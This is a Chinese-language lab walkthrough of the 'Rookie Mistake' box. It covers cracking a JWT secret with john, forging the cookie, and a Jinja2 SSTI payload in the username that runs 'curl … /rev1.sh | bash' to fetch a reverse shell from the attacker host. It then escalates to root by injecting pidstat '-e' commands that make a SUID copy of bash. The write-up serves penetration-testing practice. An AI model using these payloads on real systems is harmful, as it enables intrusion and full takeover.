简介
point 20
Rookie Mistake
Difficulty INTERMEDIATE
rated by community HARD
Beginner’s luck
实验环境
攻击者 Kali 192.168.45.159
受害者 IP 192.168.153.221 Linux
1. 信息收集
收集受害者服务详情
nmap -sV -A 192.168.153.221
有22端口和8080端口
FUZZ测试发现有
login signup edit目录
2. 漏洞发掘与利用
JWT介绍
https://juejin.cn/post/7018102963570737189
可以先注册一个帐号
我注册了test test的账户
JWT其实就是有个cookie 在burpsuite中可以抓到
在这个页面可以进行修改cookie
https://jwt.io/?source=post_page—–b74eca98edf1——————————–
这个之后会使用
但是先不急
我们需要先将cookie拷贝下来 然后用join破解一个“token” 之后需要
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
破解出来密码是ilovejwt
之后就可以进行修改了
原先的cookie是这样的
在edit目录显示结果是这样的
猜测是SSTI漏洞
POC在这
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti?source=post_page—–b74eca98edf1——————————–#jinja-injection-without-less-than-class-object-greater-than
我们尝试修改一下用户名
可以看到 被修改了
那我们就可以那它来反弹shell
经过测试这条是可以用的
在usename中
{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('curl 192.168.45.159:443/rev1.sh | bash').read()}}{%endif%}{% endfor %}
我们需要先监听443端口 并准备好shell木马
之后同样在cookie中运行就可以了
之后443端口就会传输木马
然后就反弹了shell
3. 权限提升
我们sudo -l 发现一下条目
ok 我们去看一下
sudo ./PidMonitorServer
发现开启了9123端口的pid监视器
而且给了提示 输入URL/pid/PID
https://gtfobins.github.io/gtfobins/pidstat/
我们就可以再用一个终端来登录mike
并且运行下面的命令
COMMAND='cp%20%2Fbin%2Fbash%20%2Ftmp%2Fbash'
curl http://127.0.0.1:9123/pid/1%20-e%20$COMMAND
COMMAND='chmod%20a%2Bs%20%2Ftmp%2Fbash'
curl http://127.0.0.1:9123/pid/1%20-e%20$COMMAND
cd /tmp
./bash -p
就能成功提权了